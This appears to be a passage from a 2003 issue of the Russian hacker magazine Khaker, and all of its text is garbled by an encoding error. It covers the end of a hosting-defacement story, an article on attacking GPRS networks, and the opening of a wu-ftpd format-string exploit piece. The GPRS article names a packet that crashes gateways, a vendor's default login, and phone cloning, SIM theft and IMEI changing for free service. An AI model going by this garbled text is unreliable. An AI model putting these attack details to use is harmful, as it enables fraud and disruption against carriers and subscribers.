îò êëèåíòîâ www.sweb.ru. Â íèõ áûëè êàê ñëîâà<br />

íåãîäîâàíèÿ, òàê è ðàäîñòè, è ìíîãî çàìàí÷èâûõ<br />

ïðåäëîæåíèé, òèïà "ñëîìàéòå ìíå õîñòèíã çà äåíüãè".<br />

Ïðè÷åì, ïèñüìà áûëè íå òîëüêî îò ðóññêèõ.<br />

Èçáðàííûå ïèñüìà èç ÿùèêà äåôåéñåðîâ<br />

ËÎÌÀÒÜ ÈËÈ ÍÅ ËÎÌÀÒÜ?<br />

Èòîã ýòîãî âçëîìà äëÿ õàêåðà - íåñêîëüêî áåññîííûõ<br />

íî÷åé, ïðîâåäåííûõ â ñòðàõå áûòü âû÷èñëåííûì.<br />

Ýòè îïàñåíèÿ áûëè îïðàâäàííûìè, òàê êàê<br />

íåñêîëüêî àäìèíèñòðàòîðîâ âçëîìàííûõ ñàéòîâ<br />

äåéñòâèòåëüíî âåæëèâî ñòó÷àëèñü â åãî ICQ, ãîâîðÿ,<br />

÷òî çíàþò î íåì âñå, âïëîòü äî íîìåðà ìî-<br />

áèëüíîãî òåëåôîíà. Íà ñàìîì äåëå âû÷èñëèòü åãî<br />

áûëî äîâîëüíî ëåãêî, íî ýòî óæå äðóãàÿ èñòîðèÿ.<br />

Ê ñ÷àñòüþ, âñå îáîøëîñü, è ÷åðåç íåñêîëüêî äíåé<br />

îí âåðíóëñÿ ê ñâîåé îáû÷íîé æèçíè. Ñòîèò îòìåòèòü,<br />

÷òî óäàëåííàÿ ðàáîòà âçëîìùèêà î÷åíü ðèñêîâàííà,<br />

è â ñëó÷àå ïîäñòàâû âèíîâàò îêàçûâàåòñÿ<br />

õàêåð, à íå çàêàç÷èê.<br />

Ïðî÷èòàâ ýòó ñòàòüþ, åùå ðàç çàäàé ñåáå ôèëîñîôñêèé<br />

âîïðîñ: ëîìàòü èëè íå ëîìàòü? Âçëîì äëÿ<br />

õàêåðà ïî ñóòè ëèøü ðàçâëå÷åíèå, íî âîò ïîñëåäñòâèÿ,<br />

åñëè åãî âû÷èñëÿò, áóäóò ñîâñåì íå ñìåøíûå,<br />

îñîáåííî åñëè æåðòâà - êðóïíûé ïðîåêò...<br />

Ðàçóìååòñÿ, âñÿ èíôîðìàöèÿ â ýòîé ñòàòüå äîëæíà<br />

ðàññìàòðèâàòüñÿ êàê ïîìîùü íà÷èíàþùèì<br />

àäìèíèñòðàòîðàì, è íè â êîåé ìåðå<br />

íå êàê ïîñîáèå äëÿ íà÷èíàþùåãî õàêåðà.<br />

Óâàæàåìûå<br />

êëèåíòû!<br />

 ñâÿçè ñ ïðîáëåìàìè<br />

íà íàøèõ ñåðâåðàõ íåêîòîðûå<br />

index-ñòðàíèöû<br />

áûëè óäàëåíû èëè çàìåíåíû.<br />

Ïîýòîìó Âàø<br />

ñàéò ìîæåò íå ôóíêöèîíèðîâàòü.<br />

Âñå îñòàëüíûå ôàéëû<br />

Âàøåãî ñàéòà ñîõðàíèëèñü<br />

áåç èçìåíåíèé.<br />

Ïîæàëóéñòà, ïðîâåðüòå<br />

íàëè÷èå íà àêêàóíòå<br />

index-ôàéëîâ è ïðè íåîáõîäèìîñòè<br />

çàêà÷àéòå<br />

ôàéëû.<br />

Æåëàåì óñïåõîâ.<br />

Ñ óâàæåíèåì,<br />

Èíôîðìàöèîííûé äåïàðòàìåíò<br />

SpaceWeb<br />

info@sweb.ru<br />

http://www.sweb.ru/<br />

1 2 3 4<br />

48 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÀÒÀÊÀ ÍÀ GPRS<br />

Âçëîì<br />

Ëåøèé ñ Ëóêîìîðüÿ (lukomore@real.xakep.ru)<br />

ÊÐÀÒÊÈÉ ÝÊÑÊÓÐÑ Â ÒÅÎÐÈÞ GPRS<br />

Òåõíîëîãèÿ GPRS ìàëî ÷åì îòëè÷àåòñÿ îò GSM è ïî<br />

áîëüøîìó ñ÷åòó ÿâëÿåòñÿ åå ðàñøèðåíèåì. Îáû÷íûé<br />

ìîáèëüíèê ñ ïîääåðæêîé GPRS (íàïðèìåð,<br />

Ericsson R600) ïîäêëþ÷àåòñÿ ïî ðàäèîêàíàëó ê òàê<br />

íàçûâàåìîé áàçîâîé ñòàíöèè, êîòîðàÿ ïåðåäàåò<br />

òðàôèê íà óçåë îáñëóæèâàíèÿ àáîíåíòîâ (serving<br />

GPRS support node - SGSN), ÿâëÿþùèéñÿ ïåðâûì è<br />

îäíèì èç ñàìûõ âàæíûõ ýëåìåíòîâ GPRS-ñåòè. Äàííûé<br />

óçåë, êîòîðûé îáû÷íî ñòðîèòñÿ íà áàçå Unix<br />

(íàïðèìåð, ó Ericsson â SGSN èñïîëüçóåòñÿ Solaris),<br />

òðàíñëèðóåò âñå IP-ïàêåòû ïîëó÷àåìûå è ïðèíèìàå-<br />

ìûå ìîáèëüíèêîì. Èìåííî SGSN ïðîâåðÿåò, ðàçðåøåíî<br />

ëè àáîíåíòó ïîëüçîâàòüñÿ GPRS-óñëóãàìè.<br />

Ïî èäåå, SGSN'îì ìîæíî áûëî áû è îãðàíè÷èòüñÿ,<br />

íî âåäü ìàëî êîãî èíòåðåñóåò õîæäåíèå ïî GPRSáýêáîíó.<br />

Ïîýòîìó äëÿ âûõîäà â îòêðûòûå ñåòè èñïîëüçóåòñÿ<br />

ìàðøðóòèçàòîð, êîòîðûé íàçûâàåòñÿ<br />

gateway GPRS support node, à ïîïðîñòó GGSN.<br />

GGSN, êàê è SGSN îáû÷íî ñòðîèòñÿ íà áàçå Unix è<br />

îòâå÷àåò íå òîëüêî çà ìàðøðóòèçàöèþ òðàôèêà â<br />

èíòåðíåò, íî è çà ñâÿçü ñ GPRS-ñåòÿìè äðóãèõ îïåðàòîðîâ<br />

(ò.å. çà ðîóìèíã). Ñóùåñòâóþò è äðóãèå<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

ÀÒÀÊÀ<br />

ÍÀ<br />

GPRS<br />

GPRS - ýòî íîâàÿ óñëóãà, êîòîðàÿ ïîçâîëÿåò ñ ïîìîùüþ îáû÷íîãî ìîáèëüíèêà áðàóçèòü èíåò ñ íåõèëîé<br />

ñêîðîñòüþ 171,2 Êáèò/ñåê. Ïðàâäà, ýòî òîëüêî â òåîðèè. Íà ïðàêòèêå ñêîðîñòü âñåãî 30-40 Êáèò/ñåê,<br />

íî è ýòîãî âïîëíå äîñòàòî÷íî äëÿ òîãî, ÷òîáû çàâèñàòü íà ñàéòàõ ñ àíåêäîòàìè è äðóãîé ðàçâëåêóõîé.<br />

Êðîìå òîãî, ýòî åäèíñòâåííûé ñïîñîá çàþçàòü èíòåðíåò ïðè îòñóòñòâèè òåëåôîíà â òâîåé êâàðòèðå. À<br />

óæ äëÿ íàñòîÿùèõ õàêåðîâ GPRS ïîèñòèíå ïðåäîñòàâëÿåò áåçãðàíè÷íûå âîçìîæíîñòè. Ïðåäñòàâü: åäåò<br />

õàêåð ñ äðóãàíîì íà ìàøèíå, äðóã çà ðóëåì, ó õàêåðà íà êîëåíÿõ íîóòáóê, ê êîòîðîìó ïðèêðó÷åí ìîáèëüíèê<br />

(êñòàòè, GPRS ïîääåðæèâàåòñÿ íå ëþáûì àïïàðàòîì). È îíè âìåñòå ëîìàþò ñåòü êàêîãî-íèáóäü<br />

áàíêà, à ïåðåâåäÿ ýííóþ ñóììó äåíåã íà ïîäñòàâíûå ñ÷åòà, óíîñÿòñÿ ñ ìåñòà ïðåñòóïëåíèÿ. Ìå÷òà...<br />

Íó äà ëàäíî, ÷òî-òî ÿ îòâëåêñÿ. Ðàññêàæó î òîì, êàêèå ñëàáûå ìåñòà åñòü â ýòîé òåõíîëîãèè. Ñðàçó<br />

çàìå÷ó, ÷òî íåêîòîðûå ïîëîæåíèÿ ñòàòüè ïðèìåíèìû è ê GSM, êàê ïðàðîäèòåëüíèöå GPRS.<br />

ýëåìåíòû ýòîé òåõíîëîãèè, íî î íèõ ìû ïîãîâîðèì<br />

÷óòü ïîçæå, ðàññìàòðèâàÿ îøèáêè GPRS.<br />

 ÷åì ïðåëåñòü ýòîé òåõíîëîãèè äëÿ õàêåðà? À â<br />

òîì, ÷òî â åå îñíîâå ëåæèò ñòàðûé çíàêîìûé - IP,<br />

èçó÷åííûé âäîëü è ïîïåðåê è ïîçâîëÿþùèé òâîðèòü<br />

÷óäåñà ñ òåìè, êòî íåäîîöåíèâàåò âñþ îïàñíîñòü<br />

ýòîãî ïðîòîêîëà.<br />

ÄËß ×ÅÃÎ ÂÑÅ ÝÒÎ?<br />

Çà÷åì ÷åëîâåêó øóòèòü ñ Óãîëîâíûì Êîäåêñîì è<br />

áàëîâàòüñÿ ñ GPRS? À öåëåé ìîæåò áûòü ÷åòûðå:<br />

* Çà ÷óæîé ñ÷åò ïîñèäåòü â èíòåðíåòå.<br />

1 2 3 4<br />

50 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


* Ïîäñëóøàòü, ÷òî ãîâîðèò ïîäðóæêà î òåáå ëþáèìîì.<br />

* ÇàDoSèòü äðóæáàíà, êîòîðûé îáîçâàë òåáÿ ëàìåðîì.<br />

* Íàãàäèòü ïðîâàéäåðó, îòêëþ÷àþùåìó çà ñêàí.<br />

ÊÀÊ ËÎÌÀÅÒÑß?<br />

×òî íàäî ñäåëàòü, ÷òîáû þçàòü èíåò, íå ïëàòÿ çà<br />

ýòî ñâîè ãðÎøè? Íó, êîíå÷íî, âûäàòü ñåáÿ çà àáîíåíòà,<br />

îïëàòèâøåãî ýòó óñëóãó. Íî ñêàçàòü ïðîùå,<br />

÷åì ñäåëàòü. Åñòü äâà âàðèàíòà:<br />

* Âëåçòü â ñåòü ñâîåãî ïðîâà è èçìåíèòü èíôîðìàöèþ<br />

î äîñòóïíûõ òåáå óñëóãàõ. Îäíàêî ñäåëàòü<br />

ýòî íå òàê ïðîñòî, äà è çàëåòåòü ìîæíî î÷åíü áûñòðî.<br />

Åñëè âäðóã òàêîé ïîäëîã âûÿñíèòñÿ, òî äîêàçûâàòü,<br />

÷òî òû íå Camel ïðèäåòñÿ ñîòðóäíèêàì<br />

Óïðàâëåíèÿ "Ê".<br />

* Èìåòü íà ðóêàõ àïïàðàò, â íåäðàõ êîòîðîãî (÷èòàé<br />

â SIM'å) ïðîïèñàíî, ÷òî âçëîìùèê ìîæåò ïîëüçîâàòüñÿ<br />

GPRS. À ñìûñë ñêàçàííîãî ïðîñò: õàêåð äîëæåí<br />

êàêèì-òî îáðàçîì ïîëó÷èòü (è ïóñòü ýòî îñòàíåòñÿ<br />

íà åãî ñîâåñòè) àïïàðàò àáîíåíòà, îïëàòèâøåãî<br />

ýòó óñëóãó, ëèáî êëîíèðîâàòü ýòîò àïïàðàò.<br />

Ò.ê. ìîáèëüíûé òåëåôîí êóäà ìåíüøå îáû÷íîãî<br />

êîìïüþòåðà, òî è óêðàñòü åãî íàìíîãî ëåã÷å.  õóäøåì<br />

ñëó÷àå âîð ïîëó÷àåò àïïàðàò çà ñîòíþ áàêñîâ,<br />

êîòîðûé îí ìîæåò ïðîäàòü, ïîâåñèòü ñåáå íà øåþ<br />

è ò.ä. Ïðè õîðîøåì æå ðàñêëàäå âîð ïîëó÷àåò òåëåôîí<br />

ñ ðàáîòàþùåé SIM-êàðòîé è ìîæåò ïîëüçîâàòüñÿ<br />

GPRS-óñëóãàìè äî ìîìåíòà áëîêèðîâàíèÿ òåëåôîíà<br />

îïåðàòîðîì ñâÿçè, ÷òî ìîæåò ïðîèçîéòè äîâîëüíî<br />

áûñòðî. Î÷åâèäíî, ÷òî âàðèàíò ñ êëîíèðîâàíèåì<br />

ëó÷øå, ò.ê. â ýòîì ñëó÷àå õàêåð ìîæåò ïîëüçîâàòüñÿ<br />

óñëóãàìè GPRS äî òåõ ïîð, ïîêà íàñòîÿùèé<br />

âëàäåëåö íå çàìåòèò, ÷òî ñ åãî ñ÷åòà ñïèñûâàåòñÿ<br />

ñëèøêîì ìíîãî äåíåã.<br />

Êàê è â ñëó÷àå ñ îâå÷êîé Äîëëè, êîòîðàÿ óìåðëà, íå<br />

ïðîæèâ è ïîëîâèíû ñðåäíåãî ñðîêà æèçíè îâöû,<br />

êëîíèðîâàíèå òåëåôîíà - äåëî íåïðîñòîå è ïîòåíöèàëüíî<br />

îïàñíîå. ß íàäåþñü, òû ýòî ïîíèìàåøü.<br />

Ïðèâîäèòü òåõíè÷åñêèå äåòàëè ïðîöåññà íåò ñìûñëà,<br />

òåì áîëåå ÷òî ñåäüìîé íîìåð Ñïåö Õàêåðà çà<br />

ïðîøëûé ãîä áûë ïîëíîñòüþ ïîñâÿùåí âîïðîñàì<br />

ôðèêèíãà è çàùèòû ñàìèõ ìîáèëüíèêîâ. Õî÷ó òîëüêî<br />

îòìåòèòü, ÷òî ìíîãèå îïåðàòîðû ñâÿçè, ïîíàäåÿâøèñü<br />

íà çàùèòó ðåàëèçîâàííûõ â òåëåôîíå àëãîðèòìîâ,<br />

íå îñîáî êîíòðîëèðóþò êëîíû òåëåôîíîâ,<br />

÷åì è äàþò ïèùó äëÿ ðàçìûøëåíèé è ïðîñòðàíñòâî<br />

Ñõåìà ðàáîòû GPRS-ñåòè<br />

äëÿ èñïûòàíèé. Áîëåå èíòåðåñíû îñîáåííîñòè çàùèòû<br />

ñàìîé GPRS-òåõíîëîãèè. Ê íèì è ïåðåéäåì.<br />

Íî ñðàçó õî÷ó îòìåòèòü, ÷òî òåõíîëîãèÿ ýòà íîâàÿ è<br />

ìàëîîáêàòàííàÿ. Äûð â íåé íàøëè ïîêà íå òàê ìíîãî,<br />

äà è òå, ÷òî íàøëè, êàê ïðàâèëî, ñâÿçàíû ñ íåäîñìîòðîì<br />

àäìèíà, êîòîðûé ÷òî-òî óïóñòèë è îñòàâèë<br />

ëàçåéêó äëÿ óìíûõ ëþäåé.<br />

ÃÛ-ÃÛ? ËÎÌÀÅÌ!<br />

Ñ òî÷êè çðåíèÿ îáû÷íîãî èíòåðíåòîâñêîãî þçâåðÿ,<br />

ïåðâîå, ÷òî îí âèäèò íà ïóòè ê ìîáèëüíèêó, ýòî<br />

GPRS-ìàðøðóòèçàòîð (ò.å. GGSN), òðàíñëèðóþùèé<br />

âñå âõîäÿùèå ïàêåòû â GTP-òðàôèê, à âñå èñõîäÿùèå<br />

â îáû÷íûé IP. Çäåñü è êðîåòñÿ ïåðâàÿ<br />

äûðà. GGSN - ýòî îáû÷íîå IP-óñòðîéñòâî, ïîäâåðæåííîå<br />

êëàññè÷åñêèì DoS-àòàêàì. Ïðè÷åì íà<br />

GGSN âîçìîæíû êàê ðàñïðîñòðàíåííûå DoS-àòàêè<br />

Land, SYN Flood è ò.ï., òàê è ìàëîèçâåñòíûå äûðû.<br />

Íàïðèìåð, ïîñûëêà TCP-ïàêåòà ñ òèïîì îïöèè<br />

0xFF âíóòðè çàãîëîâêà IP ïðèâîäèò ê ïåðåçàãðóçêå<br />

íåêîòîðûõ GGSN. Õîòÿ óïàäåò óñòðîéñòâî èëè íåò<br />

çàâèñèò îò êà÷åñòâà ðåàëèçàöèè ñòåêà ïðîèçâîäèòåëåì.<br />

Íàïðèìåð, â Shasta 5000 BSN îò Nortel óæå<br />

âñòðîåíà çàùèòà îò àòàê SYN Flood è Land.<br />

Ïðîáëåìà íóìáåð 2. Ìíîãèå GGSN âûïîëíåíû íà<br />

áàçå øèðîêî èçâåñòíûõ ÎÑ, íàïðèìåð, HP UX,<br />

Solaris èëè IPSO îò Nokia. Äûðû â ýòèõ ÎÑ òîæå èçâåñòíû.<br />

Òàê ÷òî îñòàåòñÿ òîëüêî ïðîâåðèòü ñ ïîìîùüþ<br />

ñêàíåðà íàëè÷èå óÿçâèìîñòåé.  ñëó÷àå óäà÷è<br />

õàêåð ïîëó÷àåò ïîëíûé äîñòóï ê GGSN è, ñëåäîâàòåëüíî,<br />

êî âñåé GPRS-ñåòè.<br />

Êñòàòè, SGSN åùå áîëåå óÿçâèìû, ò.ê., ñîãëàñíî îò-<br />

÷åòó @stake, íà ñåãîäíÿøíèé äåíü âîîáùå íå ñóùåñòâóåò<br />

íèêàêèõ ñðåäñòâ èõ çàùèòû. Åñëè GGSN, êàê<br />

è íîðìàëüíûé ìàðøðóòèçàòîð, ìîæíî íàñòðîèòü<br />

(çàäàòü ñïèñêè êîíòðîëÿ äîñòóïà) èëè íàâåñèòü íà<br />

íåãî âíåøíèé ôàåðâîë (íàïðèìåð, CheckPoint<br />

Firewall-1 GX), òî ñ SGSN ñèòóàöèÿ ñóùåñòâåííî õóæå.<br />

×òî êàñàåòñÿ äûð, òî â êà÷åñòâå îäíîé èç íèõ<br />

ìîãó íàçâàòü SNMP, ñ ïîìîùüþ êîòîðîãî ìîæíî óïðàâëÿòü<br />

ýòèì óñòðîéñòâîì. Òî æå ñàìîå îòíîñèòñÿ è<br />

ê GGSN.  ÷àñòíîñòè, óÿçâèìîñòè â Contivity<br />

CES/GGSN (âåðñèè 2.04.03 è 3.01.01) îò Nortel ïîçâîëÿþò<br />

ðåàëèçîâàòü ðàçëè÷íûå àòàêè íà íåãî, íà÷èíàÿ<br />

îò DoS è çàêàí÷èâàÿ ïðèâèëåãèðîâàííûì<br />

äîñòóïîì (http://www.cert.org/advisories/CA-<br />

2002-03.html).<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


ÀÒÀÊÀ ÍÀ GPRS<br />

Âçëîì<br />

Ëåøèé ñ Ëóêîìîðüÿ (lukomore@real.xakep.ru)<br />

Ñëåäóþùàÿ ïðîáëåìà êàñàåòñÿ GTP, êîòîðûé ðàáîòàåò<br />

ïîâåðõ UDP èëè TCP (òîëüêî â âåðñèè âûøå<br />

ïåðâîé) è ïî óìîë÷àíèþ íå øèôðóåò òðàôèê.<br />

À, ñëåäîâàòåëüíî, ïîëó÷èâ äîñòóï ê GGSN èëè<br />

SGSN, õàêåð ìîæåò ÷èòàòü âñå ñîîáùåíèÿ. Íèêàêèõ<br />

ìåõàíèçìîâ áåçîïàñíîñòè â GTP íå ïðåäóñìîòðåíî,<br />

è âñå ïðîèçâîäèòåëè ðåêîìåíäóþò èñïîëüçîâàòü<br />

IPSec, ÷òî, ðàçóìååòñÿ, äåëàþò äàëåêî íå<br />

âñå. Ñîáñòâåííî, êàê ñ÷èòàþò ìíîãèå ñïåöèàëèñòû,<br />

òîëüêî íåêîòîðûå êîìïàíèè, ïðåäîñòàâëÿþùèå<br />

óñëóãè GPRS, ïðèìåíÿþò ïîëîæåíèÿ ñâîåé<br />

ïîëèòèêè áåçîïàñíîñòè ê GPRS-óñòðîéñòâàì, îñòàëüíûå<br />

ñ÷èòàþò èõ çàùèùåííûìè è íåäîñòóïíûìè<br />

äëÿ çëîóìûøëåííèêîâ.<br />

Êàê è ëþáàÿ êðóïíàÿ ñòðóêòóðà, GPRS-ñåòü äîëæíà<br />

èìåòü ýôôåêòèâíûå ìåõàíèçìû óïðàâëåíèÿ, è îíè<br />

äåéñòâèòåëüíî åñòü. Ïîìèìî óæå óïîìÿíóòîãî<br />

SNMP, â ñåòè GPRS ìîæíî âñòðåòèòü Telnet, DHCP,<br />

DNS, TFTP, RIP è äàæå HTTP. À ÷òî ïîçâîëÿþò äåëàòü<br />

ýòè ïðîòîêîëû ñ óçëîì, íà êîòîðîì îíè çàïóùåíû,<br />

ÿ äóìàþ, ãîâîðèòü íå ñòîèò.<br />

Êñòàòè, ïåðåõâàòèòü òðàôèê ìîæíî íå òîëüêî ìåæäó<br />

GGSN è SGSN, íî è ìåæäó ìîáèëüíèêîì è<br />

SGSN. È ýòî íåñìîòðÿ íà íàëè÷èå øèôðîâàíèÿ<br />

ìåæäó íèìè. À âñå ïîòîìó, ÷òî â ðåàëèçàöèè àëãîðèòìîâ<br />

A3 è A8, îáúåäèíåííûõ îáùèì èìåíåì<br />

COMP128, ñóùåñòâóåò ðÿä äûð, êîòîðûå áûëè<br />

íàéäåíû óøëûìè õàêåðàìè. Ïðàâäà ýòè äûðû áûëè<br />

îáíàðóæåíû â SIM-êàðòå, íî ó÷èòûâàÿ, ÷òî<br />

IMEI êîä<br />

SGSN èñïîëüçóåò òå æå àëãîðèòìû, ïîëó÷èòü äîñòóï<br />

ê ïåðåäàâàåìûì äàííûì íå ñîñòàâèò òðóäà.<br />

Òå, êòî ÷èòàë ìîþ ñòàòüþ îá àòàêàõ íà IP-òåëåôîíèþ<br />

(12-é Õàêåð çà 2002 ãîä), ìîãóò ïðîñëåäèòü,<br />

÷òî àòàêè íà îáå òåõíîëîãèè ïðàêòè÷åñêè ñîâïàäàþò<br />

- ðàçíÿòñÿ òîëüêî äåòàëè ðåàëèçàöèè. Ïîýòîìó<br />

ìîæíî ïîïûòàòüñÿ ñïðîãíîçèðîâàòü - êàêîé åùå<br />

àòàêå ïîäâåðæåíû êîìïîíåíòû GPRS-ñåòè. Ïðàâèëüíî!<br />

Àáñîëþòíîå áîëüøèíñòâî óñòðîéñòâ ïîñòàâëÿåòñÿ<br />

ñ ïðåäóñòàíîâëåííûìè íàñòðîéêàìè, è<br />

äëÿ èõ èçìåíåíèÿ èñïîëüçóåòñÿ ïàðîëü àäìèíèñòðàòîðà,<br />

çàäàííûé ïî óìîë÷àíèþ è ïðàêòè÷åñêè<br />

íèêîãäà íå èçìåíÿåìûé. Íàïðèìåð, â Nortel'îâñêîì<br />

îáîðóäîâàíèè åñòü òàêàÿ ó÷åòíàÿ çàïèñü<br />

field, ïàðîëü äëÿ êîòîðîé - service.<br />

Åñëè áû õàêåð áûë ñîòðóäíèêîì êàêîãî-íèáóäü<br />

Ìåãàôîíà, Áèëàéíà èëè ÌÒÑ, ó íåãî ïîÿâèëîñü áû<br />

÷óòü áîëüøå âîçìîæíîñòåé ïî õàêàíüþ GPRS. Â<br />

÷àñòíîñòè, ìîæíî âçëîìàòü áèëëèíãîâóþ ñèñòåìó,<br />

âåäóùóþ òàðèôèêàöèþ çâîíêîâ è óñëóã. À ìîæíî<br />

ïîêîïàòüñÿ â áàçàõ HLR (Home Location Register) è<br />

VLR (Visitor Location Register), õðàíÿùèõ èíôîðìàöèþ<br />

î êàæäîì ÷åëîâåêå, îïëàòèâøåì óñëóãè îïåðàòîðà<br />

GPRS, è î êàæäîé ìîáèëüíîé ñòàíöèè, íàõîäÿùåéñÿ<br />

â äàííûé ìîìåíò â çîíå äåéñòâèÿ<br />

SGSN. HLR, íàïðèìåð, õðàíèò èíôîðìàöèþ î äîïîëíèòåëüíûõ<br />

óñëóãàõ, ïàðàìåòðàõ àóòåíòèôèêàöèè,<br />

IP-àäðåñå è ò.ä. Îáìåí äàííîé èíôîðìàöèåé<br />

ïðîèñõîäèò ìåæäó HLR è SGSN. Â VLR õðàíèòñÿ òà<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

æå èíôîðìàöèÿ îá àáîíåíòå, ÷òî è â HLR, íî òîëüêî<br />

äî òåõ ïîð, ïîêà àáîíåíò íå ïîêèíåò ãåîãðàôè-<br />

÷åñêóþ çîíó, îáñëóæèâàåìóþ ýòèì ðååñòðîì ïåðåìåùåíèé.<br />

Íî òàê êàê ñðåäè 75000 ïîäïèñ÷èêîâ ][<br />

âðÿä ëè åñòü íàéäåòñÿ ìíîãî ñîòðóäíèêîâ óêàçàííûõ<br />

îïåðàòîðîâ ñâÿçè, òî ðàññìàòðèâàòü ýòó òåìó<br />

áîëåå ïîäðîáíî ìû íå áóäåì.<br />

ÇÀÊËÞ×ÅÍÈÅ<br />

Ê ñîæàëåíèþ, ñòàòüÿ íå èçîáèëóåò ïðèìåðàìè ðåàëüíûõ<br />

àòàê è äûð, è íà òî åñòü 2 ïðè÷èíû. Âîïåðâûõ,<br />

GPRS - òåõíîëîãèÿ åùå ìàëîðàñïðîñòðàíåííàÿ,<br />

à ìåñòàìè äàæå è íåçðåëàÿ, è ïîýòîìó<br />

ïðèñóùèõ èìåííî åé äûð íàéäåíî íå òàê ìíîãî. À<br />

òå, ÷òî óæå èçâåñòíû, â îñíîâíîì êàñàþòñÿ ïðîòîêîëà<br />

IP âîîáùå. Âî-âòîðûõ, êàê ïîä÷åðêèâàþò<br />

ìíîãèå ñïåöû ïî áåçîïàñíîñòè, íà ñåãîäíÿøíèé<br />

äåíü îñíîâíàÿ ïðîáëåìà ñ çàùèùåííîñòüþ GPRS<br />

ñâÿçàíà ñ ìîáèëüíûì òåëåôîíîì, à òî÷íåå ñ SIMêàðòîé.<br />

Ò.å. ïîëó÷èâ â ñâîå ðàñïîðÿæåíèå SIMêàðòó<br />

àáîíåíòà, ïîäïèñàííîãî íà óñëóãè GPRS,<br />

õàêåð ìîæåò ïîëüçîâàòüñÿ èìè äî ïîñèíåíèÿ.<br />

ß íàäåþñü, ÷òî ñî âðåìåíåì ýòà òåõíîëîãèÿ çàéìåò<br />

ñâîå äîñòîéíîå ìåñòî íà ðîññèéñêîì ðûíêå<br />

òåëåêîììóíèêàöèîííûõ óñëóã, è ïîÿâèòñÿ áîëüøå<br />

âîçìîæíîñòåé ïîùóïàòü åå äûðû. À ïîêà ïîëüçóéòåñü<br />

áåñïëàòíûì GPRS, ïðåäîñòàâëÿåìûì ÌÒÑ :).<br />

 óêðàäåííîì àïïàðàòå ìîæíî èçìåíèòü èäåíòèôèêàöèîííûé êîä ìîáèëüíèêà IMEI è,<br />

âñòàâèâ äðóãóþ SIM-êàðòó, èñïîëüçîâàòü åãî ïî ïðÿìîìó íàçíà÷åíèþ. Ó÷èòûâàÿ, ÷òî ìíîãèå<br />

îïåðàòîðû ñâÿçè íèêàê íå êîíòðîëèðóþò ýòè íîìåðà, òî âîçìîæíî ïîÿâëåíèå â ñåòè<br />

íåñêîëüêèõ ìîáèëüíèêîâ ñ îäèíàêîâûìè IMEI. Ñîãëàñíî îò÷åòó êîíñàëòèíãîâîé êîìïàíèè<br />

@stake ("GPRS Wireless Security: Not Ready For Prime Time"), îïóáëèêîâàííîìó â èþíå<br />

2002 ãîäà, íà ðûíêå îòñóòñòâóåò îáîðóäîâàíèå, ïîääåðæèâàþùåå ðååñòð èäåíòèôèêàöèîííûõ<br />

äàííûõ îáîðóäîâàíèÿ (Equipment Identity Register), êîòîðûé ñîäåðæèò èíôîðìàöèþ,<br />

ïîçâîëÿþùóþ áëîêèðîâàòü âûçîâû îò óêðàäåííûõ, ìîøåííè÷åñêèõ èëè èíûõ íåàâòîðèçîâàííûõ<br />

óñòðîéñòâ. Ýòî çíà÷èò, ÷òî îïåðàòîð íå ñìîæåò îòêëþ÷èòü óêðàäåííóþ èëè<br />

êëîíèðîâàííóþ òðóáêó.<br />

Óçíàòü IMEI ýëåìåíòàðíî - äîñòàòî÷íî íàáðàòü íà òåëåôîíå êîìáèíàöèþ *#06#.  ðååñòðå<br />

EIR ïîìèìî òàê íàçûâàåìûõ "áåëîãî" è "ñåðîãî" ñïèñêîâ õðàíèòñÿ è "÷åðíûé" ñïèñîê,<br />

ñîäåðæàùèé èäåíòèôèêàòîðû âñåõ çàïðåùåííûõ àïïàðàòîâ. Êàê çàÿâèëè ñîòðóäíèêè ÌÒÑ:<br />

"Ñåé÷àñ ìåæäó îïåðàòîðàìè ïðîâîäÿòñÿ ïåðåãîâîðû î ñîçäàíèè åäèíîãî "÷åðíîãî ñïèñêà"<br />

êðàäåíûõ òåëåôîíîâ". Èç ÷åãî ìîæíî ñäåëàòü âûâîä, ÷òî ïîêà òàêîé ñïèñîê íå ñîçäàí, à<br />

ó÷èòûâàÿ êîíêóðåíöèþ è ðîññèéñêóþ íåðàçáåðèõó, ìîæíî ïðåäïîëîæèòü, ÷òî â áëèæàéøåå<br />

âðåìÿ ñîçäàíèå òàêîãî ñïèñêà ôðèêåðàì íå ãðîçèò.<br />

52 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


kas1e<br />

FORMAT STRING ÓßÇÂÈÌÎÑÒÜ<br />

Ðàáîòà ó ïðîãðàììèñòà äîâîëüíî íàïðÿæåííàÿ,<br />

íåîáõîäèìî ñëåäèòü çà êàæäûì áàéòîì, îöåíèâàòü<br />

ñèòóàöèþ, ïðåäñòàâëÿòü ðàçëè÷íûå âîçìîæíîñòè<br />

ïîâåäåíèÿ ïðîãðàììû è ò.ä. Ê ïðèìåðó, ÷àñòî<br />

ïðèõîäèòñÿ èñïîëüçîâàòü â ïðîãðàììå 'C'<br />

ñòðîêè, îêàí÷èâàþùèåñÿ íóëåâûì áàéòîì, è íå<br />

âñåãäà åñòü âîçìîæíîñòü óñëåäèòü çà òàêèì êîäîì.<br />

Îòñþäà âîçíèêàþò ðàçíûå ïðîáëåìû. Òàê è<br />

â ñëó÷àå ñ format string. Ñêàæåì, ïðîãðàììèñò ðåøàåò<br />

ñýêîíîìèòü íà ðàçìåðå è íå óêàçûâàåò äîïîëíèòåëüíûõ<br />

'ôîðìàòíûõ' àðãóìåíòîâ:<br />

printf(string); // âûâîäèì ñòðîêó (áåç óêàçàíèÿ êàêèì<br />

ñïîñîáîì âûâîäèòü)<br />

âìåñòî:<br />

Âçëîì<br />

ÝÊÑÏËÎÈÒ ÏÎÄ WU-FTPD<br />

ÝÊÑÏËÎÈÒ<br />

printf(%s, string); // âûâîäèì ñòðîêó (ñ óêàçàíèåì<br />

ñïîñîáà)<br />

Âèäèìî íå âñå ïðîãðàììèñòû çíàþò, ÷òî åñëè<br />

ôîðìàòíûé àðãóìåíò íå óêàçàí, òî èõ ïîèñê áóäåò<br />

ïðîèçâîäèòüñÿ â ëþáîì ñëó÷àå. È åñëè êàêîé-òî èç<br />

íèõ áóäåò íàéäåí, òî â ñòåêå ïðîèçîéäóò ñîîòâåòñòâóþùèå<br />

ïðåîáðàçîâàíèÿ (èç ïðåäûäóùèõ ñòàòåé<br />

